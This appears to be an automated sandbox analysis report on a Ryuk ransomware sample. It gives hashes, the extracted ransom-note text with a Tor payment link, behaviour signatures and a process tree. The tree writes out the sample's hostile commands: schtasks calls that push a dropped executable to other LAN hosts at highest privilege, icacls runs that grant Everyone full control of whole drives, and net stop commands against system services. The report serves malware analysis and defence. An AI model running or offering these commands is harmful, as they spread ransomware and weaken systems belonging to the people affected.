Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    113s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23/03/2021, 15:25

General

  • Target

    xxx.exe

  • Size

    208KB

  • MD5

    3c08d1e5233c623bfc854879173544de

  • SHA1

    a1add1d1e80d84440fc013abcc754f1bdddf3a20

  • SHA256

    956246824d2fb2f5f4738c450e8d222042b08c3e5c67c3ec755bedf641b7b1c5

  • SHA512

    01adb468d0318f44532f5222fff6f06eb5128b6b368d2a939b0e5c54da592784e793f97a1a9617f908cf0b2b61c61253ec0157433faf3894cc34e63fbbc5a943

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note
contact balance of shadow universe Ryuk $password = 'UDmHKcEqZ'; $torlink = 'http://lgjpuim5fe3pejmllygcffape3djui6k2a5pcbpuyvps3h4ajb7yf4id.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};
URLs

http://lgjpuim5fe3pejmllygcffape3djui6k2a5pcbpuyvps3h4ajb7yf4id.onion

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xxx.exe
    "C:\Users\Admin\AppData\Local\Temp\xxx.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Users\Admin\AppData\Local\Temp\wtLIEtzKGrep.exe
      "C:\Users\Admin\AppData\Local\Temp\wtLIEtzKGrep.exe" 9 REP
      2⤵
      • Executes dropped EXE
      PID:2000
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.73 /TN VhdJgMX /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4656
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.82 /TN TGctyK5 /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4748
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.77 /TN 5EFJcFL /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4732
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.72 /TN p33jl25 /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4432
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.95 /TN jzKupPi /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4668
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.86 /TN qxhyim9 /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:1448
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.81 /TN sGCrDdL /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:2156
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.70 /TN AbdzP7q /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5088
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.88 /TN 0LDjBLF /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:1768
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.66 /TN eMHGKXY /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4864
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.74 /TN lWGEEzd /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4524
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.71 /TN JceVIbO /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:1764
    • C:\Users\Admin\AppData\Local\Temp\gWqMBNtPvlan.exe
      "C:\Users\Admin\AppData\Local\Temp\gWqMBNtPvlan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:652
    • C:\Users\Admin\AppData\Local\Temp\ScKDbDhotlan.exe
      "C:\Users\Admin\AppData\Local\Temp\ScKDbDhotlan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:2608
    • C:\Windows\SysWOW64\icacls.exe
      icacls "C:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:4444
    • C:\Windows\SysWOW64\icacls.exe
      icacls "D:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:4456
    • C:\Windows\SysWOW64\net.exe
      "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "audioendpointbuilder" /y
        3⤵
          PID:4844
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\System32\net.exe" stop "samss" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4796
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "samss" /y
          3⤵
            PID:5056
        • C:\Windows\SysWOW64\net.exe
          "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "audioendpointbuilder" /y
            3⤵
              PID:4484
          • C:\Windows\SysWOW64\net.exe
            "C:\Windows\System32\net.exe" stop "samss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4944
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "samss" /y
              3⤵
                PID:4792

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/644-24-0x0000000002F50000-0x0000000002F51000-memory.dmp

            Filesize

            4KB

          • memory/644-25-0x0000000003750000-0x0000000003751000-memory.dmp

            Filesize

            4KB

          • memory/644-2-0x0000000002340000-0x0000000002341000-memory.dmp

            Filesize

            4KB

          • memory/644-4-0x0000000035000000-0x000000003502A000-memory.dmp

            Filesize

            168KB

          • memory/644-3-0x00000000004E0000-0x0000000000500000-memory.dmp

            Filesize

            128KB

          • memory/652-14-0x00000000020D0000-0x00000000020D1000-memory.dmp

            Filesize

            4KB

          • memory/2000-8-0x00000000021D0000-0x00000000021D1000-memory.dmp

            Filesize

            4KB

          • memory/2608-20-0x00000000021A0000-0x00000000021A1000-memory.dmp

            Filesize

            4KB